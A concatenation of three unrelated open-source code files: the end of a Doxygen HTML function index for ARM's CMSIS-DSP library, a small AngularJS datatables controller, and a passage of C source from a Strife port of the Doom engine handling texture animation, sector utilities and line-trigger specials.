, <a class="el" href="math__helper_8c.html#a64d5207c035db13cddde479317dd131e">math_helper.c</a>
</li>
<li>arm_compare_fixed_q31()
: <a class="el" href="math__helper_8h.html#a32f9f3d19e53161382c5bd39e3df50fb">math_helper.h</a>
, <a class="el" href="math__helper_8c.html#a32f9f3d19e53161382c5bd39e3df50fb">math_helper.c</a>
</li>
<li>arm_conv_f32()
: <a class="el" href="group___conv.html#ga3f860dc98c6fc4cafc421e4a2aed3c89">arm_conv_f32.c</a>
, <a class="el" href="group___conv.html#ga3f860dc98c6fc4cafc421e4a2aed3c89">arm_math.h</a>
</li>
<li>arm_conv_fast_opt_q15()
: <a class="el" href="group___conv.html#gaf16f490d245391ec18a42adc73d6d749">arm_conv_fast_opt_q15.c</a>
, <a class="el" href="group___conv.html#gaf16f490d245391ec18a42adc73d6d749">arm_math.h</a>
</li>
<li>arm_conv_fast_q15()
: <a class="el" href="group___conv.html#gad75ca978ce906e04abdf86a8d76306d4">arm_conv_fast_q15.c</a>
, <a class="el" href="group___conv.html#gad75ca978ce906e04abdf86a8d76306d4">arm_math.h</a>
</li>
<li>arm_conv_fast_q31()
: <a class="el" href="group___conv.html#ga51112dcdf9b3624eb05182cdc4da9ec0">arm_conv_fast_q31.c</a>
, <a class="el" href="group___conv.html#ga51112dcdf9b3624eb05182cdc4da9ec0">arm_math.h</a>
</li>
<li>arm_conv_opt_q15()
: <a class="el" href="group___conv.html#gac77dbcaef5c754cac27eab96c4753a3c">arm_conv_opt_q15.c</a>
, <a class="el" href="group___conv.html#gac77dbcaef5c754cac27eab96c4753a3c">arm_math.h</a>
</li>
<li>arm_conv_opt_q7()
: <a class="el" href="group___conv.html#ga4c7cf073e89d6d57cc4e711f078c3f68">arm_conv_opt_q7.c</a>
, <a class="el" href="group___conv.html#ga4c7cf073e89d6d57cc4e711f078c3f68">arm_math.h</a>
</li>
<li>arm_conv_partial_f32()
: <a class="el" href="group___partial_conv.html#ga16d10f32072cd79fc5fb6e785df45f5e">arm_math.h</a>
, <a class="el" href="group___partial_conv.html#ga16d10f32072cd79fc5fb6e785df45f5e">arm_conv_partial_f32.c</a>
</li>
<li>arm_conv_partial_fast_opt_q15()
: <a class="el" href="group___partial_conv.html#ga3de9c4ddcc7886de25b70d875099a8d9">arm_conv_partial_fast_opt_q15.c</a>
, <a class="el" href="group___partial_conv.html#ga3de9c4ddcc7886de25b70d875099a8d9">arm_math.h</a>
</li>
<li>arm_conv_partial_fast_q15()
: <a class="el" href="group___partial_conv.html#ga1e4d43385cb62262a78c6752fe1fafb2">arm_conv_partial_fast_q15.c</a>
, <a class="el" href="group___partial_conv.html#ga1e4d43385cb62262a78c6752fe1fafb2">arm_math.h</a>
</li>
<li>arm_conv_partial_fast_q31()
: <a class="el" href="group___partial_conv.html#ga10c5294cda8c4985386f4e3944be7650">arm_conv_partial_fast_q31.c</a>
, <a class="el" href="group___partial_conv.html#ga10c5294cda8c4985386f4e3944be7650">arm_math.h</a>
</li>
<li>arm_conv_partial_opt_q15()
: <a class="el" href="group___partial_conv.html#ga834b23b4ade8682beeb55778399101f8">arm_conv_partial_opt_q15.c</a>
, <a class="el" href="group___partial_conv.html#ga834b23b4ade8682beeb55778399101f8">arm_math.h</a>
</li>
<li>arm_conv_partial_opt_q7()
: <a class="el" href="group___partial_conv.html#ga3707e16af1435b215840006a7ab0c98f">arm_conv_partial_opt_q7.c</a>
, <a class="el" href="group___partial_conv.html#ga3707e16af1435b215840006a7ab0c98f">arm_math.h</a>
</li>
<li>arm_conv_partial_q15()
: <a class="el" href="group___partial_conv.html#ga209a2a913a0c5e5679c5988da8f46b03">arm_conv_partial_q15.c</a>
, <a class="el" href="group___partial_conv.html#ga209a2a913a0c5e5679c5988da8f46b03">arm_math.h</a>
</li>
<li>arm_conv_partial_q31()
: <a class="el" href="group___partial_conv.html#ga78e73a5f02d103168a09821fb461e77a">arm_conv_partial_q31.c</a>
, <a class="el" href="group___partial_conv.html#ga78e73a5f02d103168a09821fb461e77a">arm_math.h</a>
</li>
<li>arm_conv_partial_q7()
: <a class="el" href="group___partial_conv.html#ga8567259fe18396dd972242c41741ebf4">arm_conv_partial_q7.c</a>
, <a class="el" href="group___partial_conv.html#ga8567259fe18396dd972242c41741ebf4">arm_math.h</a>
</li>
<li>arm_conv_q15()
: <a class="el" href="group___conv.html#gaccd6a89b0ff7a94df64610598e6e6893">arm_conv_q15.c</a>
, <a class="el" href="group___conv.html#gaccd6a89b0ff7a94df64610598e6e6893">arm_math.h</a>
</li>
<li>arm_conv_q31()
: <a class="el" href="group___conv.html#ga946b58da734f1e4e78c91fcaab4b12b6">arm_conv_q31.c</a>
, <a class="el" href="group___conv.html#ga946b58da734f1e4e78c91fcaab4b12b6">arm_math.h</a>
</li>
<li>arm_conv_q7()
: <a class="el" href="group___conv.html#gae2070cb792a167e78dbad8d06b97cdab">arm_math.h</a>
, <a class="el" href="group___conv.html#gae2070cb792a167e78dbad8d06b97cdab">arm_conv_q7.c</a>
</li>
<li>arm_copy_f32()
: <a class="el" href="group__copy.html#gadd1f737e677e0e6ca31767c7001417b3">arm_copy_f32.c</a>
, <a class="el" href="group__copy.html#gadd1f737e677e0e6ca31767c7001417b3">arm_math.h</a>
</li>
<li>arm_copy_q15()
: <a class="el" href="group__copy.html#ga872ca4cfc18c680b8991ccd569a5fda0">arm_copy_q15.c</a>
, <a class="el" href="group__copy.html#ga872ca4cfc18c680b8991ccd569a5fda0">arm_math.h</a>
</li>
<li>arm_copy_q31()
: <a class="el" href="group__copy.html#gaddf70be7e3f87e535c324862b501f3f9">arm_copy_q31.c</a>
, <a class="el" href="group__copy.html#gaddf70be7e3f87e535c324862b501f3f9">arm_math.h</a>
</li>
<li>arm_copy_q7()
: <a class="el" href="group__copy.html#ga467579beda492aa92797529d794c88fb">arm_copy_q7.c</a>
, <a class="el" href="group__copy.html#ga467579beda492aa92797529d794c88fb">arm_math.h</a>
</li>
<li>arm_correlate_f32()
: <a class="el" href="group___corr.html#ga22021e4222773f01e9960358a531cfb8">arm_math.h</a>
, <a class="el" href="group___corr.html#ga22021e4222773f01e9960358a531cfb8">arm_correlate_f32.c</a>
</li>
<li>arm_correlate_fast_opt_q15()
: <a class="el" href="group___corr.html#ga40a0236b17220e8e22a22b5bc1c53c6b">arm_correlate_fast_opt_q15.c</a>
, <a class="el" href="group___corr.html#ga40a0236b17220e8e22a22b5bc1c53c6b">arm_math.h</a>
</li>
<li>arm_correlate_fast_q15()
: <a class="el" href="group___corr.html#gac8de3da44f58e86c2c86156276ca154f">arm_math.h</a>
, <a class="el" href="group___corr.html#gac8de3da44f58e86c2c86156276ca154f">arm_correlate_fast_q15.c</a>
</li>
<li>arm_correlate_fast_q31()
: <a class="el" href="group___corr.html#gabecd3d7b077dbbef43f93e9e037815ed">arm_correlate_fast_q31.c</a>
, <a class="el" href="group___corr.html#gabecd3d7b077dbbef43f93e9e037815ed">arm_math.h</a>
</li>
<li>arm_correlate_opt_q15()
: <a class="el" href="group___corr.html#gad71c0ec70ec69edbc48563d9a5f68451">arm_math.h</a>
, <a class="el" href="group___corr.html#gad71c0ec70ec69edbc48563d9a5f68451">arm_correlate_opt_q15.c</a>
</li>
<li>arm_correlate_opt_q7()
: <a class="el" href="group___corr.html#ga746e8857cafe33ec5d6780729c18c311">arm_math.h</a>
, <a class="el" href="group___corr.html#ga746e8857cafe33ec5d6780729c18c311">arm_correlate_opt_q7.c</a>
</li>
<li>arm_correlate_q15()
: <a class="el" href="group___corr.html#ga5ec96b8e420d68b0e626df0812274d46">arm_math.h</a>
, <a class="el" href="group___corr.html#ga5ec96b8e420d68b0e626df0812274d46">arm_correlate_q15.c</a>
</li>
<li>arm_correlate_q31()
: <a class="el" href="group___corr.html#ga1367dc6c80476406c951e68d7fac4e8c">arm_correlate_q31.c</a>
, <a class="el" href="group___corr.html#ga1367dc6c80476406c951e68d7fac4e8c">arm_math.h</a>
</li>
<li>arm_correlate_q7()
: <a class="el" href="group___corr.html#ga284ddcc49e4ac532d52a70d0383c5992">arm_math.h</a>
, <a class="el" href="group___corr.html#ga284ddcc49e4ac532d52a70d0383c5992">arm_correlate_q7.c</a>
</li>
<li>arm_cos_f32()
: <a class="el" href="group__cos.html#gace15287f9c64b9b4084d1c797d4c49d8">arm_math.h</a>
, <a class="el" href="group__cos.html#gace15287f9c64b9b4084d1c797d4c49d8">arm_cos_f32.c</a>
</li>
<li>arm_cos_q15()
: <a class="el" href="group__cos.html#gadfd60c24def501638c0d5db20f4c869b">arm_cos_q15.c</a>
, <a class="el" href="group__cos.html#gadfd60c24def501638c0d5db20f4c869b">arm_math.h</a>
</li>
<li>arm_cos_q31()
: <a class="el" href="group__cos.html#gad80f121949ef885a77d83ab36e002567">arm_math.h</a>
, <a class="el" href="group__cos.html#gad80f121949ef885a77d83ab36e002567">arm_cos_q31.c</a>
</li>
<li>clip_q31_to_q15()
: <a class="el" href="arm__math_8h.html#a352de341326393bd616822a2f3c1e6d0">arm_math.h</a>
</li>
<li>clip_q31_to_q7()
: <a class="el" href="arm__math_8h.html#abfee6571a4be043d7be085925dd1eabb">arm_math.h</a>
</li>
<li>clip_q63_to_q15()
: <a class="el" href="arm__math_8h.html#a46795f14993e6855a04ab97e3ee92c19">arm_math.h</a>
</li>
<li>clip_q63_to_q31()
: <a class="el" href="arm__math_8h.html#a695eb21bde9d9a08238312ed8d84ac38">arm_math.h</a>
</li>
</ul>
</div>
</div>
<div id="nav-path" class="navpath">
<ul>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
<a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Data Structures</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark"> </span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark"> </span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark"> </span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark"> </span>Defines</a></div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<li class="footer">Generated on Wed Mar 28 2012 15:38:10 for CMSIS-DSP by ARM Ltd. All rights reserved.
<!--
<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.7.5.1 </li>
-->
</li>
</ul>
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
'use strict';
angular.module('showcase.disableDeepWatchers', ['datatables'])
.controller('DisableDeepWatchers', DisableDeepWatchers);
function DisableDeepWatchers(DTOptionsBuilder, DTColumnBuilder) {
var vm = this;
vm.dtOptions = DTOptionsBuilder.fromSource('data.json')
.withPaginationType('full_numbers');
vm.dtColumns = [
DTColumnBuilder.newColumn('id').withTitle('ID'),
DTColumnBuilder.newColumn('firstName').withTitle('First name'),
DTColumnBuilder.newColumn('lastName').withTitle('Last name').notVisible()
];
}
| {
"pile_set_name": "Github"
} |
//
// Copyright(C) 1993-1996 Id Software, Inc.
// Copyright(C) 2005-2014 Simon Howard
//
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// DESCRIPTION:
// Implements special effects:
// Texture animation, height or lighting changes
// according to adjacent sectors, respective
// utility functions, etc.
// Line Tag handling. Line and Sector triggers.
//
#include <stdlib.h>
#include "doomdef.h"
#include "doomstat.h"
#include "deh_main.h"
#include "i_system.h"
#include "z_zone.h"
#include "m_argv.h"
#include "m_misc.h"
#include "m_random.h"
#include "w_wad.h"
#include "r_local.h"
#include "p_local.h"
#include "g_game.h"
#include "s_sound.h"
// State.
#include "r_state.h"
// Data.
#include "sounds.h"
// [STRIFE]
#include "hu_stuff.h"
#include "p_dialog.h"
//
// Animating textures and planes
// There is another anim_t used in wi_stuff, unrelated.
//
typedef struct
{
boolean istexture;
int picnum;
int basepic;
int numpics;
int speed;
} anim_t;
//
// source animation definition
//
typedef struct
{
int istexture; // if false, it is a flat
char endname[9];
char startname[9];
int speed;
} animdef_t;
// haleyjd 08/30/10: [STRIFE] MAXANIMS raised from 32 to 40
#define MAXANIMS 40
//
// P_InitPicAnims
//
// Floor/ceiling animation sequences,
// defined by first and last frame,
// i.e. the flat (64x64 tile) name to
// be used.
// The full animation sequence is given
// using all the flats between the start
// and end entry, in the order found in
// the WAD file.
//
// haleyjd 08/29/10: [STRIFE] Changed animdefs.
//
animdef_t animdefs[] =
{
{ false, "F_SCANR8", "F_SCANR5", 4},
{ false, "F_WATR03", "F_WATR01", 8},
{ false, "F_PWATR3", "F_PWATR1", 11},
{ false, "F_SCANR4", "F_SCANR1", 4},
{ true, "SCAN08", "SCAN05", 4},
{ true, "SWTRMG03", "SWTRMG01", 4},
{ true, "SCAN04", "SCAN01", 4},
{ true, "COMP04", "COMP01", 4},
{ true, "COMP08", "COMP05", 6},
{ true, "COMP12", "COMP09", 11},
{ true, "COMP16", "COMP13", 12},
{ true, "COMP20", "COMP17", 12},
{ true, "COMP24", "COMP21", 12},
{ true, "COMP28", "COMP25", 12},
{ true, "COMP32", "COMP29", 12},
{ true, "COMP37", "COMP33", 12},
{ true, "COMP41", "COMP38", 12},
{ true, "COMP49", "COMP42", 10},
{ true, "BRKGRY16", "BRKGRY13", 10},
{ true, "BRNSCN04", "BRNSCN01", 10},
{ true, "CONCRT12", "CONCRT09", 11},
{ true, "CONCRT25", "CONCRT22", 11},
{ true, "WALPMP02", "WALPMP01", 16},
{ true, "WALTEK17", "WALTEK16", 8},
{ true, "FORCE04", "FORCE01", 4},
{ true, "FORCE08", "FORCE05", 4},
{ true, "FAN02", "FAN01", 4},
{ false, "F_VWATR3", "P_VWATR1", 4},
{ false, "F_HWATR3", "F_HWATR1", 4},
{ false, "F_TELE2", "F_TELE1", 4},
{ false, "F_FAN2", "F_FAN1", 4},
{ false, "F_CONVY2", "F_CONVY1", 4},
{ false, "F_RDALN4", "F_RDALN1", 4},
{ -1, "", "", 0},
};
anim_t anims[MAXANIMS];
anim_t* lastanim;
//
// Animating line specials
//
// haleyjd 08/29/10: [STRIFE] MAXLINEANIMS raised from 64 to 96
#define MAXLINEANIMS 96
extern short numlinespecials;
extern line_t* linespeciallist[MAXLINEANIMS];
void P_InitPicAnims (void)
{
int i;
// Init animation
lastanim = anims;
for (i=0 ; animdefs[i].istexture != -1 ; i++)
{
const char *startname, *endname;
startname = DEH_String(animdefs[i].startname);
endname = DEH_String(animdefs[i].endname);
if (animdefs[i].istexture)
{
// different episode ?
if (R_CheckTextureNumForName(startname) == -1)
continue;
lastanim->picnum = R_TextureNumForName(endname);
lastanim->basepic = R_TextureNumForName(startname);
}
else
{
if (W_CheckNumForName(startname) == -1)
continue;
lastanim->picnum = R_FlatNumForName(endname);
lastanim->basepic = R_FlatNumForName(startname);
}
lastanim->istexture = animdefs[i].istexture;
lastanim->numpics = lastanim->picnum - lastanim->basepic + 1;
if (lastanim->numpics < 2)
I_Error ("P_InitPicAnims: bad cycle from %s to %s",
startname, endname);
lastanim->speed = animdefs[i].speed;
lastanim++;
}
}
// villsa [STRIFE] terrain type definitions
typedef struct
{
const char *flat;
int type;
int num;
} terraintype_t;
terraintype_t terraintypes[] =
{
{ "F_WATR03", FLOOR_WATER, -1 },
{ "F_WATR02", FLOOR_WATER, -1 },
{ "F_WATR01", FLOOR_WATER, -1 },
{ "F_VWATR3", FLOOR_WATER, -1 },
{ "F_VWATR2", FLOOR_WATER, -1 },
{ "P_VWATR1", FLOOR_WATER, -1 },
{ "F_HWATR3", FLOOR_WATER, -1 },
{ "F_HWATR2", FLOOR_WATER, -1 },
{ "F_HWATR1", FLOOR_WATER, -1 },
{ "F_PWATR3", FLOOR_SLIME, -1 },
{ "F_PWATR2", FLOOR_SLIME, -1 },
{ "F_PWATR1", FLOOR_SLIME, -1 },
{ "END", FLOOR_END, -1 },
};
//
// P_GetTerrainType
// villsa [STRIFE] new function
//
terraintype_e P_GetTerrainType(mobj_t* mobj)
{
int i = 0;
subsector_t* ss = mobj->subsector;
if(mobj->z <= ss->sector->floorheight &&
terraintypes[0].type != FLOOR_END)
{
while(ss->sector->floorpic != terraintypes[i].num)
{
if(terraintypes[i+1].type == FLOOR_END)
return FLOOR_SOLID;
i++;
}
return terraintypes[i].type;
}
return FLOOR_SOLID;
}
//
// P_InitTerrainTypes
// villsa [STRIFE] new function
// Initialize terrain types
//
void P_InitTerrainTypes(void)
{
int i = 0;
if(terraintypes[0].type != FLOOR_END)
{
while(terraintypes[i].type != FLOOR_END)
{
terraintypes[i].num = R_FlatNumForName(terraintypes[i].flat);
i++;
}
}
}
//
// UTILITIES
//
//
// getSide()
// Will return a side_t*
// given the number of the current sector,
// the line number, and the side (0/1) that you want.
//
side_t*
getSide
( int currentSector,
int line,
int side )
{
return &sides[ (sectors[currentSector].lines[line])->sidenum[side] ];
}
//
// getSector()
// Will return a sector_t*
// given the number of the current sector,
// the line number and the side (0/1) that you want.
//
sector_t*
getSector
( int currentSector,
int line,
int side )
{
return sides[ (sectors[currentSector].lines[line])->sidenum[side] ].sector;
}
//
// twoSided()
// Given the sector number and the line number,
// it will tell you whether the line is two-sided or not.
//
int
twoSided
( int sector,
int line )
{
return (sectors[sector].lines[line])->flags & ML_TWOSIDED;
}
//
// getNextSector()
// Return sector_t * of sector next to current.
// NULL if not two-sided line
//
sector_t*
getNextSector
( line_t* line,
sector_t* sec )
{
if (!(line->flags & ML_TWOSIDED))
return NULL;
if (line->frontsector == sec)
return line->backsector;
return line->frontsector;
}
//
// P_FindLowestFloorSurrounding()
// FIND LOWEST FLOOR HEIGHT IN SURROUNDING SECTORS
//
fixed_t P_FindLowestFloorSurrounding(sector_t* sec)
{
int i;
line_t* check;
sector_t* other;
fixed_t floor = sec->floorheight;
for (i=0 ;i < sec->linecount ; i++)
{
check = sec->lines[i];
other = getNextSector(check,sec);
if (!other)
continue;
if (other->floorheight < floor)
floor = other->floorheight;
}
return floor;
}
//
// P_FindHighestFloorSurrounding()
// FIND HIGHEST FLOOR HEIGHT IN SURROUNDING SECTORS
//
fixed_t P_FindHighestFloorSurrounding(sector_t *sec)
{
int i;
line_t* check;
sector_t* other;
fixed_t floor = -500*FRACUNIT;
for (i=0 ;i < sec->linecount ; i++)
{
check = sec->lines[i];
other = getNextSector(check,sec);
if (!other)
continue;
if (other->floorheight > floor)
floor = other->floorheight;
}
return floor;
}
//
// P_FindNextHighestFloor
// FIND NEXT HIGHEST FLOOR IN SURROUNDING SECTORS
// Note: this should be doable w/o a fixed array.
// Thanks to entryway for the Vanilla overflow emulation.
// 20 adjoining sectors max!
#define MAX_ADJOINING_SECTORS 20
fixed_t
P_FindNextHighestFloor
( sector_t* sec,
int currentheight )
{
int i;
int h;
int min;
line_t* check;
sector_t* other;
fixed_t height = currentheight;
fixed_t heightlist[MAX_ADJOINING_SECTORS + 2];
for (i=0, h=0; i < sec->linecount; i++)
{
check = sec->lines[i];
other = getNextSector(check,sec);
if (!other)
continue;
if (other->floorheight > height)
{
// Emulation of memory (stack) overflow
if (h == MAX_ADJOINING_SECTORS + 1)
{
height = other->floorheight;
}
else if (h == MAX_ADJOINING_SECTORS + 2)
{
// Fatal overflow: game crashes at 22 sectors
I_Error("Sector with more than 22 adjoining sectors. "
"Vanilla will crash here");
}
heightlist[h++] = other->floorheight;
}
}
// Find lowest height in list
if (!h)
{
return currentheight;
}
min = heightlist[0];
// Range checking?
for (i = 1; i < h; i++)
{
if (heightlist[i] < min)
{
min = heightlist[i];
}
}
return min;
}
//
// FIND LOWEST CEILING IN THE SURROUNDING SECTORS
//
fixed_t
P_FindLowestCeilingSurrounding(sector_t* sec)
{
int i;
line_t* check;
sector_t* other;
fixed_t height = INT_MAX;
for (i=0 ;i < sec->linecount ; i++)
{
check = sec->lines[i];
other = getNextSector(check,sec);
if (!other)
continue;
if (other->ceilingheight < height)
height = other->ceilingheight;
}
return height;
}
//
// FIND HIGHEST CEILING IN THE SURROUNDING SECTORS
//
fixed_t P_FindHighestCeilingSurrounding(sector_t* sec)
{
int i;
line_t* check;
sector_t* other;
fixed_t height = 0;
for (i=0 ;i < sec->linecount ; i++)
{
check = sec->lines[i];
other = getNextSector(check,sec);
if (!other)
continue;
if (other->ceilingheight > height)
height = other->ceilingheight;
}
return height;
}
//
// RETURN NEXT SECTOR # THAT LINE TAG REFERS TO
//
int
P_FindSectorFromLineTag
( line_t* line,
int start )
{
int i;
for (i=start+1;i<numsectors;i++)
if (sectors[i].tag == line->tag)
return i;
return -1;
}
//
// Find minimum light from an adjacent sector
//
int
P_FindMinSurroundingLight
( sector_t* sector,
int max )
{
int i;
int min;
line_t* line;
sector_t* check;
min = max;
for (i=0 ; i < sector->linecount ; i++)
{
line = sector->lines[i];
check = getNextSector(line,sector);
if (!check)
continue;
if (check->lightlevel < min)
min = check->lightlevel;
}
return min;
}
//
// EVENTS
// Events are operations triggered by using, crossing,
// or shooting special lines, or by timed thinkers.
//
// [STRIFE]
static char crosslinestr[90];
//
// P_CrossSpecialLine - TRIGGER
// Called every time a thing origin is about
// to cross a line with a non 0 special.
//
void
P_CrossSpecialLine
( int linenum,
int side,
mobj_t* thing )
{
line_t* line;
side_t* sidedef; // [STRIFE]
int flag; // [STRIFE]
int ok;
line = &lines[linenum];
// haleyjd 09/21/10: corpses and missiles cannot activate any cross-over
// line types, *except* 182 (which is for the sake of missiles).
if((thing->flags & (MF_MISSILE|MF_CORPSE)) && line->special != 182)
return;
// Triggers that other things can activate
if (!thing->player)
{
// Things that should NOT trigger specials...
// villsa [STRIFE] unused
// haleyjd: removed dead switch. Strife only excludes missiles and
// corpses, which is handled above.
ok = 0;
// [STRIFE] Added several line types. Removed none.
switch(line->special)
{
case 97: // TELEPORT RETRIGGER
case 185: // haleyjd: [STRIFE] Silent Teleport (used for Converter)
case 195: // haleyjd: [STRIFE] Silent Teleport and Change Zombie
case 231: // haleyjd: [STRIFE] WR Teleport (Silent at Source)
case 125: // TELEPORT MONSTERONLY TRIGGER
case 126: // TELEPORT MONSTERONLY RETRIGGER
case 182: // haleyjd: [STRIFE] Break glass - it's a W1 type too!
case 10: // PLAT DOWN-WAIT-UP-STAY TRIGGER
case 39: // TELEPORT TRIGGER
case 88: // PLAT DOWN-WAIT-UP-STAY RETRIGGER
case 4: // RAISE DOOR
ok = 1;
break;
}
if (!ok)
return;
}
// Note: could use some const's here.
switch (line->special)
{
//
// TRIGGERS.
// All from here to RETRIGGERS.
//
case 230:
// haleyjd 09/21/10: [STRIFE] W1 Open Door if Quest
sidedef = &sides[line->sidenum[0]];
flag = (sidedef->rowoffset >> FRACBITS) - 1;
if(!(thing->player->questflags & (1 << flag)))
break;
// fall-through:
case 2:
// Open Door - [STRIFE] Verified unmodified.
EV_DoDoor(line,vld_open);
line->special = 0;
break;
case 227:
// haleyjd 09/21/10: [STRIFE] W1 Close Door if Quest
sidedef = &sides[line->sidenum[0]];
flag = (sidedef->rowoffset >> FRACBITS) - 1;
if(!(thing->player->questflags & (1 << flag)))
break;
// fall-through:
case 3:
// Close Door - [STRIFE] Verified unmodified.
EV_DoDoor(line,vld_close);
line->special = 0;
break;
case 4:
// Raise Door - [STRIFE] Verified unmodified.
EV_DoDoor(line,vld_normal);
line->special = 0;
break;
case 5:
// Raise Floor - [STRIFE] Verified unmodified.
EV_DoFloor(line,raiseFloor);
line->special = 0;
break;
case 6:
// Fast Ceiling Crush & Raise - [STRIFE] Verified unmodified.
EV_DoCeiling(line,fastCrushAndRaise);
line->special = 0;
break;
case 8:
// Build Stairs - [STRIFE] Verified unmodified.
EV_BuildStairs(line,build8);
line->special = 0;
break;
case 10:
// PlatDownWaitUp - [STRIFE] Verified unmodified.
EV_DoPlat(line,downWaitUpStay,0);
line->special = 0;
break;
case 12:
// Light Turn On - brightest near - [STRIFE] Verified unmodified.
EV_LightTurnOn(line,0);
line->special = 0;
break;
case 13:
// Light Turn On 255 - [STRIFE] Verified unmodified.
EV_LightTurnOn(line,255);
line->special = 0;
break;
case 16:
// Close Door 30 - [STRIFE] Verified unmodified.
EV_DoDoor(line,vld_close30ThenOpen);
line->special = 0;
break;
case 17:
// Start Light Strobing - [STRIFE] Verified unmodified.
EV_StartLightStrobing(line);
line->special = 0;
break;
case 19:
// Lower Floor - [STRIFE] Verified unmodified.
EV_DoFloor(line,lowerFloor);
line->special = 0;
break;
case 22:
// villsa [STRIFE] Verified unmodified.
// Raise floor to nearest height and change texture
EV_DoPlat(line,raiseToNearestAndChange,0);
line->special = 0;
break;
case 25:
// Ceiling Crush and Raise - [STRIFE] Verified unmodified.
EV_DoCeiling(line,crushAndRaise);
line->special = 0;
break;
case 30:
// Raise floor to shortest texture height - [STRIFE] Verified unmodified.
// on either side of lines.
EV_DoFloor(line,raiseToTexture);
line->special = 0;
break;
case 35:
// Lights Very Dark - [STRIFE] Verified unmodified.
EV_LightTurnOn(line,35);
line->special = 0;
break;
case 36:
// Lower Floor (TURBO) - [STRIFE] Verified unmodified.
EV_DoFloor(line,turboLower);
line->special = 0;
break;
case 37:
// LowerAndChange - [STRIFE] Verified unmodified.
EV_DoFloor(line,lowerAndChange);
line->special = 0;
break;
case 193:
// haleyjd 09/21/10: [STRIFE] W1 Floor Lower to Lowest if Quest
sidedef = &sides[line->sidenum[0]];
flag = (sidedef->rowoffset >> FRACBITS) - 1; // note is fixed_t
// must have the questflag indicated in the line's y offset
if(!(thing->player->questflags & (1 << flag)))
break;
// fall-through:
case 38:
// Lower Floor To Lowest - [STRIFE] Verified unmodified.
EV_DoFloor( line, lowerFloorToLowest );
line->special = 0;
break;
case 39:
// TELEPORT! - [STRIFE] Verified unmodified (except for 0 flags param)
EV_Teleport( line, side, thing, TF_NORMAL );
line->special = 0;
break;
/*case 40:
// RaiseCeilingLowerFloor
EV_DoCeiling( line, raiseToHighest );
EV_DoFloor( line, lowerFloorToLowest );
line->special = 0;
break;*/
case 44:
// Ceiling Crush - [STRIFE] Verified unmodified.
EV_DoCeiling( line, lowerAndCrush );
line->special = 0;
break;
case 52:
// EXIT! - haleyjd 09/21/10: [STRIFE] Exit to level tag/100
G_ExitLevel (line->tag / 100);
break;
case 53:
// Perpetual Platform Raise - [STRIFE] Verified unmodified.
EV_DoPlat(line,perpetualRaise,0);
line->special = 0;
break;
case 54:
// Platform Stop - [STRIFE] Verified unmodified.
EV_StopPlat(line);
line->special = 0;
break;
case 56:
// Raise Floor Crush - [STRIFE] Verified unmodified.
EV_DoFloor(line,raiseFloorCrush);
line->special = 0;
break;
case 57:
// Ceiling Crush Stop - [STRIFE] Verified unmodified.
EV_CeilingCrushStop(line);
line->special = 0;
break;
case 58:
// [STRIFE] raiseFloor24 was modified into raiseFloor64
// Raise Floor 64
EV_DoFloor(line,raiseFloor64);
line->special = 0;
break;
case 59:
// Raise Floor 24 And Change - [STRIFE] Verified unmodified.
EV_DoFloor(line,raiseFloor24AndChange);
line->special = 0;
break;
case 104:
// Turn lights off in sector(tag) - [STRIFE] Verified unmodified.
EV_TurnTagLightsOff(line);
line->special = 0;
break;
case 108:
// Blazing Door Raise (faster than TURBO!) - [STRIFE] Verified unmodified.
EV_DoDoor (line,vld_blazeRaise);
line->special = 0;
break;
case 109:
// Blazing Door Open (faster than TURBO!) - [STRIFE] Verified unmodified.
EV_DoDoor (line,vld_blazeOpen);
line->special = 0;
break;
case 100:
// Build Stairs Turbo 16 - [STRIFE] Verified unmodified.
EV_BuildStairs(line,turbo16);
line->special = 0;
break;
case 197:
// haleyjd 09/21/10: [STRIFE] Blazing Door Close if Has Sigil B
if(thing->player->sigiltype <= 0)
break;
// fall-through:
case 110:
// Blazing Door Close (faster than TURBO!) - [STRIFE] Verified unmodified.
EV_DoDoor (line,vld_blazeClose);
line->special = 0;
break;
case 119:
// Raise floor to nearest surr. floor - [STRIFE] Verified unmodified.
EV_DoFloor(line,raiseFloorToNearest);
line->special = 0;
break;
case 121:
// villsa [STRIFE] Verified unmodified.
// Blazing PlatDownWaitUpStay
EV_DoPlat(line,blazeDWUS,0);
line->special = 0;
break;
case 124:
// haleyjd 09/21/10: [STRIFE] W1 Start Finale
// Altered from G_SecretExitLevel.
G_StartFinale();
break;
case 125:
// TELEPORT MonsterONLY - [STRIFE] Verified unmodified
// (except for 0 flags parameter)
if (!thing->player)
{
EV_Teleport( line, side, thing, TF_NORMAL );
line->special = 0;
}
break;
case 130:
// Raise Floor Turbo - [STRIFE] Verified unmodified.
EV_DoFloor(line,raiseFloorTurbo);
line->special = 0;
break;
case 141:
// Silent Ceiling Crush & Raise - [STRIFE] Verified unmodified.
